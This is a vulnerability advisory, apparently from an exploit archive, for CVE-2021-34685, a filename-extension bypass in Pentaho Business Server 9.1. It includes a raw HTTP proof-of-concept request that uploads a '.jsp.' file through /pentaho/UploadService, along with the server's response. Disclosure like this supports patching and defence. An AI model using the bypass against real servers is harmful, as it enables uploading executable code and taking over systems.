Pentaho Business Analytics / Pentaho Business Server 9.1 Filename Bypass

Authored by Altion Malka, Alberto Favero

Posted Nov 5, 2021

Pentaho allows users to upload various files of different file types. The upload service is implemented under the /pentaho/UploadService endpoint. The file types allowed by the application are csv, dat, txt, tar, zip, tgz, gz, gzip. When uploading a file with an extension other than the allowed file types, the application responds with the error message of UploadFileServlet.ERROR_0011 - File type not allowed. Allowable types are csv,dat,txt,tar,zip,tgz,gz,gzip. However, the file extension check can be bypassed by including a single dot "." at the end of the filename.

tags | exploit, bypass
advisories | CVE-2021-34685
SHA-256 | 88d6bd09be7fc284d1910e9a75bbeb0651c9da3a240f985ed3f97efbddeb9345

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
Product: Pentaho Business Analytics / Pentaho Business Server
Vendor / Manufacturer: Hitachi Vantara
Affected Version(s): <= 9.1
Vulnerability Type: Bypass of Filename Extension Restrictions
Solution Status: Fix Released on public GitHub repository
Manufacturer Notification:  June 2021
Public Disclosure: 01 November 2021
CVE Reference: CVE-2021-34685
Author(s) of Advisory: Alberto Favero ( HawSec ) & Altion Malka

--- ### --- ### ---

Product Description:

Pentaho is business intelligence (BI) software that provides data
integration, OLAP services, reporting, information dashboards, data mining
and extract, transform, load (ETL) capabilities. Its headquarters are in
Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and
in 2017 became part of Hitachi Vantara.

( Source: https://en.wikipedia.org/wiki/Pentaho )

--- ### --- ### ---

Vulnerability Details:

Pentaho allows users to upload various files of different file types. The
upload service is implemented under the "/pentaho/UploadService" endpoint.
The file types allowed by the application are “csv, dat, txt, tar, zip,
tgz, gz, gzip”. When uploading a file with an extension other than the
allowed file types, the application responds with the error message of
"UploadFileServlet.ERROR_0011 - File type not allowed. Allowable types are
csv,dat,txt,tar,zip,tgz,gz,gzip". However, the file extension check can be
bypassed by including a single dot "." at the end of the filename.


--- ### --- ### ---

Proof of Concept (PoC):

See Ginger ( https://github.com/HawSec/ginger )

or

--- ~~~ --- ~~~ ---
POST
/pentaho/UploadService?file_name=test_file.jsp.&mark_temporary=false&unzip=false
HTTP/1.1
Host: localhost:8080
Content-Length: 194
Cookie: session-flushed=true; JSESSIONID=A0D2E6A3857C5B7EEF763821513174E9;
client-time-offset=32; JSESSIONID=2D525AE6A712A91E6CA1CBE50177559C;
session-expiry=1617569433767; server-time=1617562233767
Connection: close
------WebKitFormBoundary1k7sJ9yjEbfj39Fl
Content-Disposition: form-data; name="uploadFormElement";
filename="test_file.txt"
Content-Type: text/plain
[...]
FILE_CONTENTS
[...]
------WebKitFormBoundary1k7sJ9yjEbfj39Fl--


HTTP/1.1 200
Set-Cookie: session-expiry=1617572215172; Path=/
Set-Cookie: server-time=1617565015172; Path=/
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 6
Date: Sun, 04 Apr 2021 19:36:55 GMT
Connection: close
test_file.jsp.
--- ~~~ --- ~~~ ---


--- ### --- ### ---


Credits:

This vulnerability was discovered by Alberto Favero & Altion Malka

--- ### --- ### ---




--
BlackHawk - hawkgotyou@gmail.com

Experientia senum, agilitas iuvenum.
Adversa fortiter. Dubia prudenter.
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter

Subscribe to an RSS Feed